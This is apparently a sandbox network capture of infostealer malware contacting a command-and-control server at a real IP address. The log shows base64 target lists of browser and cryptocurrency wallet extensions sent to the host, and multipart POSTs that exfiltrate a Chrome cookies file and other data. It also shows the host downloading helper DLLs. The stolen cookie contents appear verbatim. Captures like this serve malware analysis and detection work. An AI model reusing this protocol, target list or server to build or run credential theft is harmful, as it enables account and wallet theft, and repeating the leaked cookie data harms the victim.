XNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3NlclxV [TRUNCATED]
Oct 3, 2024 23:17:00.561707973 CEST	480	IN	Data Raw: 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4a 79 62 33 64 7a 5a 58 49 75 5a 58 68 6c 66 45 39 77 5a 58 4a 68 49 46 Data Ascii: cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRmlyZWZveHxcTW96aWxsYVxGaXJlZm94XFB
Oct 3, 2024 23:17:00.576539040 CEST	468	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAKKFHJDBKKEBFHDAAE Host: 193.233.112.44 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 41 4b 4b 46 48 4a 44 42 4b 4b 45 42 46 48 44 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 32 61 38 31 66 31 61 66 62 32 31 38 63 61 37 65 65 36 38 64 36 33 36 65 39 66 33 32 33 39 61 35 61 38 33 66 30 38 35 32 62 64 64 66 36 66 32 65 32 65 31 62 62 37 61 63 34 30 65 30 34 65 63 31 35 62 61 32 33 65 35 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 4b 46 48 4a 44 42 4b 4b 45 42 46 48 44 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 4b 46 48 4a 44 42 4b 4b 45 42 46 48 44 41 41 45 2d 2d 0d 0a Data Ascii: ------EBAKKFHJDBKKEBFHDAAEContent-Disposition: form-data; name="token"f2a81f1afb218ca7ee68d636e9f3239a5a83f0852bddf6f2e2e1bb7ac40e04ec15ba23e5------EBAKKFHJDBKKEBFHDAAEContent-Disposition: form-data; name="message"plugins------EBAKKFHJDBKKEBFHDAAE--
Oct 3, 2024 23:17:00.934245110 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 7116 Connection: keep-alive Vary: Accept-Encoding Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5IFdh [TRUNCATED]
Oct 3, 2024 23:17:00.934300900 CEST	224	IN	Data Raw: 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 64 68 62 47 78 6c 64 48 78 68 61 57 6c 6d 59 6d 35 69 5a 6d 39 69 63 47 31 6c 5a 57 74 70 63 47 Data Ascii: bWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98
Oct 3, 2024 23:17:00.934340000 CEST	1236	IN	Data Raw: 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 4e 76 62 43 6c 38 59 32 35 74 59 57 31 68 59 57 4e 6f 63 48 42 75 61 32 70 6e 62 6d 6c 73 5a 48 42 6b 62 57 74 68 59 57 74 6c 61 6d Data Ascii: MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZhbGljYWpvb2xoa2tlbmZlbHwxfDB8MHxDb2luOTggV2F
Oct 3, 2024 23:17:00.934380054 CEST	1236	IN	Data Raw: 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d 4e 74 62 6d 74 69 5a 32 35 38 4d 58 77 77 66 44 42 38 56 47 56 36 51 6d 39 34 66 47 31 75 5a 6d Data Ascii: bXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZvZGptfDF
Oct 3, 2024 23:17:00.934415102 CEST	1236	IN	Data Raw: 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 46 73 62 47 56 30 66 47 46 70 61 6d 4e 69 5a 57 52 76 61 57 70 74 5a 32 35 73 62 57 70 6c 5a 57 Data Ascii: cGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2F
Oct 3, 2024 23:17:00.934454918 CEST	672	IN	Data Raw: 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 4e 68 5a 57 70 77 5a 6d 68 6d 5a 57 64 6c 61 32 52 6e 61 57 4a 73 61 33 77 77 66 44 42 38 4d 58 Data Ascii: cGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFd
Oct 3, 2024 23:17:00.935228109 CEST	1236	IN	Data Raw: 62 47 64 74 63 47 4e 77 5a 32 78 77 62 6d 64 6b 62 32 46 73 59 6d 64 6c 62 32 78 6b 5a 57 46 71 5a 6d 4e 73 62 6d 68 68 5a 6d 46 38 4d 58 77 77 66 44 42 38 55 33 56 69 56 32 46 73 62 47 56 30 49 43 30 67 55 47 39 73 61 32 46 6b 62 33 51 67 56 32 Data Ascii: bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1qYmNmb2Zjb25rYW5uam9uZm1qamFqcGxsZGRiZ3wxfDB8MHxHbGFzcyBXYWxsZXQgLSBTdWkgV2FsbGV
Oct 3, 2024 23:17:00.935271978 CEST	236	IN	Data Raw: 5a 6d 5a 73 5a 57 78 76 59 33 42 68 61 33 77 78 66 44 42 38 4d 48 78 55 54 30 34 67 56 32 46 73 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 74 6f 61 47 70 6a 61 47 74 72 61 47 31 70 5a 32 64 68 61 32 6c 71 62 6d 74 6f 5a 6d 35 6b 66 44 Data Ascii: ZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJkbm5pbG1jZGNnfDF8MHwwfA==
Oct 3, 2024 23:17:00.937117100 CEST	469	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDBKFHIJKJKECAAAECAE Host: 193.233.112.44 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 32 61 38 31 66 31 61 66 62 32 31 38 63 61 37 65 65 36 38 64 36 33 36 65 39 66 33 32 33 39 61 35 61 38 33 66 30 38 35 32 62 64 64 66 36 66 32 65 32 65 31 62 62 37 61 63 34 30 65 30 34 65 63 31 35 62 61 32 33 65 35 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 45 2d 2d 0d 0a Data Ascii: ------HDBKFHIJKJKECAAAECAEContent-Disposition: form-data; name="token"f2a81f1afb218ca7ee68d636e9f3239a5a83f0852bddf6f2e2e1bb7ac40e04ec15ba23e5------HDBKFHIJKJKECAAAECAEContent-Disposition: form-data; name="message"fplugins------HDBKFHIJKJKECAAAECAE--
Oct 3, 2024 23:17:01.293642998 CEST	303	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 108 Connection: keep-alive Vary: Accept-Encoding Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 3, 2024 23:17:01.327572107 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEBAECAKKFCBFIEGCBK Host: 193.233.112.44 Content-Length: 6887 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:01.327617884 CEST	6887	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 32 61 38 31 66 Data Ascii: ------GIEBAECAKKFCBFIEGCBKContent-Disposition: form-data; name="token"f2a81f1afb218ca7ee68d636e9f3239a5a83f0852bddf6f2e2e1bb7ac40e04ec15ba23e5------GIEBAECAKKFCBFIEGCBKContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 3, 2024 23:17:01.760528088 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:02.006616116 CEST	93	OUT	GET /0853a005e18f0946/sqlite3.dll HTTP/1.1 Host: 193.233.112.44 Cache-Control: no-cache
Oct 3, 2024 23:17:02.378365993 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:02 GMT Content-Type: application/x-msdos-program Content-Length: 1106998 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B
Oct 3, 2024 23:17:02.378410101 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 37 30 00 00 00 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 Data Ascii: @0B/70#N@B/81s:<R@B/92P @B
Oct 3, 2024 23:17:04.116456985 CEST	952	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKEHDGDGHCBGCAKFIII Host: 193.233.112.44 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 32 61 38 31 66 31 61 66 62 32 31 38 63 61 37 65 65 36 38 64 36 33 36 65 39 66 33 32 33 39 61 35 61 38 33 66 30 38 35 32 62 64 64 66 36 66 32 65 32 65 31 62 62 37 61 63 34 30 65 30 34 65 63 31 35 62 61 32 33 65 35 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------DBKEHDGDGHCBGCAKFIIIContent-Disposition: form-data; name="token"f2a81f1afb218ca7ee68d636e9f3239a5a83f0852bddf6f2e2e1bb7ac40e04ec15ba23e5------DBKEHDGDGHCBGCAKFIIIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------DBKEHDGDGHCBGCAKFIIIContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------DBKEHDGDGHCBGCAKFIII--
Oct 3, 2024 23:17:04.520190954 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:04 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:04.603143930 CEST	564	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCFBGIDAEHCFIDGCBGII Host: 193.233.112.44 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 32 61 38 31 66 31 61 66 62 32 31 38 63 61 37 65 65 36 38 64 36 33 36 65 39 66 33 32 33 39 61 35 61 38 33 66 30 38 35 32 62 64 64 66 36 66 32 65 32 65 31 62 62 37 61 63 34 30 65 30 34 65 63 31 35 62 61 32 33 65 35 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="token"f2a81f1afb218ca7ee68d636e9f3239a5a83f0852bddf6f2e2e1bb7ac40e04ec15ba23e5------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="file"------FCFBGIDAEHCFIDGCBGII--
Oct 3, 2024 23:17:04.980197906 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:04 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:05.631375074 CEST	564	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBGIDHCAAKEBAKFIIIEB Host: 193.233.112.44 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 32 61 38 31 66 31 61 66 62 32 31 38 63 61 37 65 65 36 38 64 36 33 36 65 39 66 33 32 33 39 61 35 61 38 33 66 30 38 35 32 62 64 64 66 36 66 32 65 32 65 31 62 62 37 61 63 34 30 65 30 34 65 63 31 35 62 61 32 33 65 35 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FBGIDHCAAKEBAKFIIIEBContent-Disposition: form-data; name="token"f2a81f1afb218ca7ee68d636e9f3239a5a83f0852bddf6f2e2e1bb7ac40e04ec15ba23e5------FBGIDHCAAKEBAKFIIIEBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FBGIDHCAAKEBAKFIIIEBContent-Disposition: form-data; name="file"------FBGIDHCAAKEBAKFIIIEB--
Oct 3, 2024 23:17:05.986778975 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:06.357068062 CEST	93	OUT	GET /0853a005e18f0946/freebl3.dll HTTP/1.1 Host: 193.233.112.44 Cache-Control: no-cache
Oct 3, 2024 23:17:06.713824034 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:06 GMT Content-Type: application/x-msdos-program Content-Length: 685392 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 